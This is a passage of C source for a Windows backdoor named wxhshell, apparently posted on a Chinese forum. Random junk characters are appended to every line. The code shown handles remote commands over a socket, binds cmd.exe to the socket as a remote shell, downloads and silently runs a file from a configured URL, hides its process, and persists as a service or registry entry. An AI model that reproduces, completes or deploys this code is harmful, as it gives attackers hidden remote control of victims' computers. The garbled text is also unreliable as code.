  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >[:qJ|i%  
  } *{5/" H5  
  else { _~*j=XRs  
v#`>  
    switch(cmd[0]) { TK%q}bK,  
  Y88N*axDW.  
  // 帮助 g"kET]KP"  
  case '?': { Q laoa)d#  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 4bL? V^@7  
    break; )1gT&sU0  
  } k8@bQ"#b  
  // 安装 xxr'g =  
  case 'i': { \RRSrPLd-  
    if(Install()) `^ a:1^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (44L8)I.D  
    else 3Bvz& `\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :$gs7<z{rm  
    break; atw*t1)g  
    } jeJspch+#  
  // 卸载 c;!| =  
  case 'r': { h9!4\{V;h  
    if(Uninstall()) [9j,5d&m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ts3!mjn  
    else 7oc Ng  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 27,c}OS5o  
    break; 7I@df.rf6J  
    } {u9n?Z%  
  // 显示 wxhshell 所在路径 hh5h \ZI%  
  case 'p': { 7FD,TJs  
    char svExeFile[MAX_PATH]; m,J IId%O  
    strcpy(svExeFile,"\n\r"); :(.:bf  
      strcat(svExeFile,ExeFile); I+SfZ:q ^  
        send(wsh,svExeFile,strlen(svExeFile),0); <#199`R  
    break; /q,=!&f2  
    } H8B2{]HAt  
  // 重启 B&y?Dc  
  case 'b': { r!w*y3  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); % tC[q   
    if(Boot(REBOOT)) 3gD <!WI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2X*n93AQi  
    else { {P\Ob0)q  
    closesocket(wsh); {K}Dpy  
    ExitThread(0); P}(c0/  
    } 0>D*d'xLd  
    break; F 9d6#~  
    } "%S-(ue:  
  // 关机 VUP. \Vry  
  case 'd': { GoH.0eQ^  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); dm40qj  
    if(Boot(SHUTDOWN)) [O|c3;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nh80"Ny5  
    else { 3)9e-@  
    closesocket(wsh); !'IZr{Y>  
    ExitThread(0); Da!vGr  
    } q8.Z7ux  
    break; 8 nqF i  
    } y4aT-^C'  
  // 获取shell %e)vl[:}  
  case 's': { Y,EF'Ot  
    CmdShell(wsh); +JY8"a97>  
    closesocket(wsh); JUXBMYFus  
    ExitThread(0); !0|&f>y  
    break; L<XX?I\p  
  } [+#k+*1*o  
  // 退出 r'_#rl  
  case 'x': { z4` :n.  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); u$aN~6HG  
    CloseIt(wsh); 6W3."};  
    break; +lZ-xU1  
    } Eza^Tbq%j?  
  // 离开 Z=;=9<vA  
  case 'q': { e%4vvPp  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); {f*{dSm9b  
    closesocket(wsh); %[ *+  
    WSACleanup(); (~! @Uz5  
    exit(1); 7;C~>WlU  
    break; .y_~mr&d  
        } )"|wWu  
  } CdcB E.%<  
  } :_2:Fh.}3~  
Dq9f Fe  
  // 提示信息 hkV*UH{  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ZtP/|P5@  
} o8IqO'  
  } 5p:2gsk  
RdL5VAD  
  return; (^sb('"  
} 4ji'6JHPg  
;05lwP* r]  
// shell模块句柄 gbh/ `  
int CmdShell(SOCKET sock) N1'Yo:_A  
{ 2chT^3e  
STARTUPINFO si; 30(e6T;   
ZeroMemory(&si,sizeof(si)); +W8#]u|  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -em3 #V  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; B6\/xKmv?8  
PROCESS_INFORMATION ProcessInfo; PJe \PGh  
char cmdline[]="cmd"; :B|rs&  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (Ia:>ocE0  
  return 0; HM"(cB(n`  
} z&um9rXR  
`/wXx5n5<  
// 自身启动模式 ~x_(v,NW  
int StartFromService(void) xlgT1b:6  
{ p;R&h4H  
typedef struct {l_D+B;  
{ ;eO Ye3;c  
  DWORD ExitStatus; rXip"uz(K>  
  DWORD PebBaseAddress; S"87 <o  
  DWORD AffinityMask; ?Iaqbt%2  
  DWORD BasePriority; d4Y[}Fcp+  
  ULONG UniqueProcessId; E)X_  
  ULONG InheritedFromUniqueProcessId; #>BC|/P}  
}   PROCESS_BASIC_INFORMATION; f^5sJ 0;%  
Y2 N$&]O{  
PROCNTQSIP NtQueryInformationProcess; 4j i#Q  
{4p7r7n'  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $U. 2"  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; dr(e)eD(R>  
YYkgm:[  
  HANDLE             hProcess; ,.gJ8p(0x  
  PROCESS_BASIC_INFORMATION pbi; 6O 2sa-{d  
^<v.=7cL0  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");  60f%J1u  
  if(NULL == hInst ) return 0; A,= R`m  
FgPmQ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); zx"0^r}  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); |BGzdBm^x:  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Yx ;j  
5`K'2  
  if (!NtQueryInformationProcess) return 0; 7Bf4ojKt  
fg1uqS1rg  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); wjOqCF"  
  if(!hProcess) return 0; I9U 8@e!X  
B8up v~U 6  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?q5HAIZ`  
#SD2b,f  
  CloseHandle(hProcess); HDu|KW$o1  
)coA30YR  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Th~pju  
if(hProcess==NULL) return 0; <!|=_W6  
6Hd^qouid  
HMODULE hMod; D6e<1W  
char procName[255]; *1>Tc,mb  
unsigned long cbNeeded; _F8-4  
:b#5 cMUe  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $.B}zY{  
~ r$I&8  
  CloseHandle(hProcess); _qQo}|/q  
:n x;~f  
if(strstr(procName,"services")) return 1; // 以服务启动 u/\Ipk/  
otP2qAI  
  return 0; // 注册表启动 )S_ %Ip  
} )MX%DQw  
x}reeqn  
// 主模块 Ja@ ?.gW  
int StartWxhshell(LPSTR lpCmdLine) C|QJQ@bj0  
{ :+ "JPF4X  
  SOCKET wsl; kYd=DY  
BOOL val=TRUE; rj5)b:c}  
  int port=0; h 'is#X 6:  
  struct sockaddr_in door; P|aSbsk:I<  
FOcDBCrOe  
  if(wscfg.ws_autoins) Install(); ab6D&  
Mq6_Q07  
port=atoi(lpCmdLine); ];0:aSi#  
EkN>5).  
if(port<=0) port=wscfg.ws_port; gJzS,g1]  
kaCn@$  
  WSADATA data; W*4!A\K  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; er!+QD,EM  
CR|>?9V  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   `R$bx 64  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); {Z[kvXf"mZ  
  door.sin_family = AF_INET; ):Ekf2  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); s: MJ{r(s  
  door.sin_port = htons(port); TR{dNO!q  
ayA_[{j%X  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { :!,.c $M  
closesocket(wsl); bW'Y8ok[v  
return 1; 6M8(KN^  
} -%t8a42  
^}GR!990  
  if(listen(wsl,2) == INVALID_SOCKET) { H329P*P  
closesocket(wsl); 1+Y; "tT  
return 1; I]ol[ X0S  
} nON "+c*  
  Wxhshell(wsl); v/wR) 9  
  WSACleanup(); 061f  
I,lzyxRP  
return 0; An !i  
NW Pd~l+  
} /bqJ6$  
@(rLn  
// 以NT服务方式启动 }HZ'i;~r|9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) KhbbGdmfS$  
{ ;{cl*EN  
DWORD   status = 0; c<qJs-C4;  
  DWORD   specificError = 0xfffffff; k${F7I(Tb  
#Cz:l|\ i  
  serviceStatus.dwServiceType     = SERVICE_WIN32; VH.}}RS%  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; vYG$>*  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Aj=c,]2  
  serviceStatus.dwWin32ExitCode     = 0; R~BW=Dz,e  
  serviceStatus.dwServiceSpecificExitCode = 0; 5c l%>U  
  serviceStatus.dwCheckPoint       = 0; !E\J`K0_e  
  serviceStatus.dwWaitHint       = 0; SCMZ-^b  
`3F/7$q_  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;V1e>?3  
  if (hServiceStatusHandle==0) return; %!)Dk<  
,u>K##X\  
status = GetLastError(); 3bB%@^<  
  if (status!=NO_ERROR) gH/k}M7tA#  
{ ) $I"LyK)  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ~bJ*LM?wOP  
    serviceStatus.dwCheckPoint       = 0; ]5J*UZ}  
    serviceStatus.dwWaitHint       = 0; R )e^H  
    serviceStatus.dwWin32ExitCode     = status; 885 ,3AdA  
    serviceStatus.dwServiceSpecificExitCode = specificError; 22m'+3I~Y  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); (fWQ?6[  
    return; y]f| U-f:~  
  } 2c<phmiK  
C/pu]%n@4  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ^kpu9H  
  serviceStatus.dwCheckPoint       = 0; &]/.=J  
  serviceStatus.dwWaitHint       = 0; Aaix? |XN  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); GpM_ Qp  
} h%@#jvh?4  
vweD{\b  
// 处理NT服务事件,比如:启动、停止 =").W\,  
VOID WINAPI NTServiceHandler(DWORD fdwControl) eM`"$xc Oe  
{ R0mWVgoz  
switch(fdwControl) sFxciCpN  
{ "'"dcA   
case SERVICE_CONTROL_STOP: -n'%MT=Cd  
  serviceStatus.dwWin32ExitCode = 0; P(Hh%9'(  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ZCVN+::Y  
  serviceStatus.dwCheckPoint   = 0; bpe WK&  
  serviceStatus.dwWaitHint     = 0; _Msaub!N  
  { \Tj(]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  Z@`HFZJ  
  } E^. =^bR  
  return; m,]M_y\u  
case SERVICE_CONTROL_PAUSE: b%,`;hy{  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; -f:uNF]Ls  
  break; l=JK+uZ  
case SERVICE_CONTROL_CONTINUE: Zx]"2U#  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; :!Tb/1  
  break; v4Q8RE?  
case SERVICE_CONTROL_INTERROGATE: {z}OZHJN  
  break; ) 4'@=q  
}; \D #NO  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); g@lAk%V4  
} =>6'{32W_  
89)rss  
// 标准应用程序主函数 #VEHyz6P  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) I2'UC) 0  
{ _sCpyu  
%fz!'C_4  
// 获取操作系统版本 SSF4P&  
OsIsNt=GetOsVer(); Wz7jB6AWA  
GetModuleFileName(NULL,ExeFile,MAX_PATH); D?Q{&6p  
z7J2O  
  // 从命令行安装 oFV >b  
  if(strpbrk(lpCmdLine,"iI")) Install(); )/9/p17:xu  
X;0DQnAI8j  
  // 下载执行文件 ~(`iRxK  
if(wscfg.ws_downexe) { kSw.Q2ao  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ~dK)U*Q  
  WinExec(wscfg.ws_filenam,SW_HIDE); qzqv-{.h  
} &u_f:Pog  
6]^}GyM!  
if(!OsIsNt) { l8hOryB&  
// 如果时win9x,隐藏进程并且设置为注册表启动 L[*Xrp;/&  
HideProc(); U.G**v  
StartWxhshell(lpCmdLine); ;[@< ,  
} Ui 7S8c#tH  
else ^1S(6'a#  
  if(StartFromService()) @vaK-&|#$  
  // 以服务方式启动 Vj"B#  
  StartServiceCtrlDispatcher(DispatchTable); v }ZQC8wL  
else eg-,;X#  
  // 普通方式启动 jC<!Ny-$  
  StartWxhshell(lpCmdLine); ``}EbOMG  
8:,l+[\  
return 0; LEkO#F(  
}
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只看该作者 1 发表于: 2006-10-10
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